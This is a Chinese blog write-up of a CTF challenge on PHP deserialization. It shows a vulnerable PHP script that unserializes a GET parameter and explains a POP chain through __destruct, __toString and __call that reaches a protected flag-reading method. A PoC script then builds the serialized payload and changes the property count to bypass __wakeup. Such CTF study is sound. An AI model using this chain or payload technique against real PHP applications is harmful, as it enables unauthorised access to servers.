当前位置:网站首页>php反序列化pop链
php反序列化pop链
2022-08-11 05:18:00 【Dawnt0wn】
成都理工平台的一道反序列化
源码如下
<?php
highlight_file(__FILE__);
class A
{
public $a;
private $b;
protected $c;
public function __construct($a, $b, $c)
{
$this->a = $a;
$this->b = $b;
$this->c = $c;
}
protected function flag()
{
echo file_get_contents('/flag');
}
public function __call($name, $arguments)
{
call_user_func([$name, $arguments[0]]);
}
public function __destruct()
{
return 'this a:' . $this->a;
}
public function __wakeup()
{
$this->a = 1;
$this->b = 2;
$this->c = 3;
}
}
class B
{
public $a;
private $b;
protected $c;
public function __construct($a, $b, $c)
{
$this->a = $a;
$this->b = $b;
$this->c = $c;
}
public function b()
{
echo $this->b;
}
public function __toString()
{
$this->a->a($this->b);
return 'this is B';
}
}
if (isset($_GET['str']))
unserialize($_GET['str']);
分析下代码
最后肯定是要回到flag函数的
先找入口,destruct可以执行$this->a,a是可控的
那就可以触发B类的toString方法
如果控制B类中的a为new A,那么就会调用A类中一个不存在的方法,触发__call,而控制参数$this->b为flag就可以通过call_user_func回调flag函数
但是这里指定的是a,而非A
不过call_user_func这个函数是不区分大小写的,又是因为是个数组,所以相当于回调了A类里面的flag函数
但是这里并没有完,我们在反序列化时还要过滤__wakeup方法
poc:
<?php
class A
{
public $a;
private $b;
protected $c;
}
class B
{
public $a;
private $b;
protected $c;
public function __construct()
{
$this->b='flag';
}
}
$t=new A();
$s=new B();
$s->a=$t;
$t->a=$s;
$p=serialize($t);
$p=str_replace('A":3','A":4',$p);
echo $p;
echo '</br>';
echo urlencode($p);
这题的链子其实一下就看到了,主要是这个call_user_func不区分大小写在这里记录一下
边栏推荐
- 【记录】innerHeight?clientHeight?offsetHeight?scrollTop?screenTop?.....一堆高度傻傻分不清
- ES6-class类
- C语言动态内存分配(1)三种函数讲解
- 06-JS定时器:间隔定时器、延时定时器
- 利用轮播图制作简单游戏页面
- gradle-wrapper.jar description
- C language file operation - detailed explanation of data file type, file judgment, and file buffer
- QT GrabWindow截取屏幕
- 程序员小白的自我救赎之路。
- 扩展运算符和剩余参数rest
猜你喜欢

task04 Pytorch进阶训练技巧

Flask framework to study: the debug and configuration items

error: The following untracked working tree files would be overwritten by merge: .hbuilderx/launch

Redis客户端管理神器RedisInsight 推荐

C - file operations fseek () function, ftell, rewind, rounding

Blender 初教程

数组:一个存取数字的魔盒

简单做份西红柿炒蛋778

C语言——文件操作详解(1)

04-开发自己的npm包及发布流程详细讲解
随机推荐
Who am I ?
Object.defineProperty新增/修改属性数据代理
06-引入Express创建web服务器、接口封装并使用postman测试,静态资源托管
let 块级作用域
pytorch中tensor 生成的函数
ES6 迭代器与生成器
函数怎么用
c 指针学习(1)
C语言自定义类型——枚举类型讲解
Promise
Minecraft
QtDataVisualization 数据3D可视化
扩展运算符和剩余参数rest
信息学奥赛
第4章 复合类型-2(指针)
gradle-wrapper.jar说明
task02 fashion-mnist分类实战
pytorch矩阵运算问题
c pointer learning (1)
简单做份西红柿炒蛋778